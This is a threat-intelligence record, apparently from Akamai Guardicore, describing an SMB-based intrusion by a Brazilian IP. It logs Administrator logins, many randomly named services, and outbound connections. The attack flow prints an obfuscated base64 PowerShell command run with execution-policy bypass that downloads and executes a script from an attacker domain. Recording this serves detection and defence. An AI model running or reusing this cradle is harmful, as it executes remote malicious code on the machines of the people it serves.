Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 177.45.48.56Previously Malicious

IP Address: 177.45.48.56Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Listening Service Start Service Creation Successful SMB Login SMB Share Connect SMB File Operation By CMD Scheduled Task Creation Outgoing Connection DNS Query Access Suspicious Domain PowerShell IDS - A Network Trojan was detected CMD

Associated Attack Servers

parklogic.com

72.52.178.23

Basic Information

IP Address

177.45.48.56

Domain

-

ISP

Vivo

Country

Brazil

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2021-06-10

Last seen in Akamai Guardicore Segmentation

2021-06-15

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named FjTf under service group None

Service Start Service Creation

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 11 times

Successful SMB Login

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

c:\windows\system32\services.exe installed and started as a service named jtVh under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named JEAx under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named fWEq under service group None

Service Start Service Creation

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 72.52.178.23:80

Outgoing Connection

c:\windows\system32\services.exe installed and started as a service named HaNl under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named WVEY under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named LILg under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named EPNk under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named Hzuv under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named tslP under service group None

Service Start Service Creation

Connection was closed due to timeout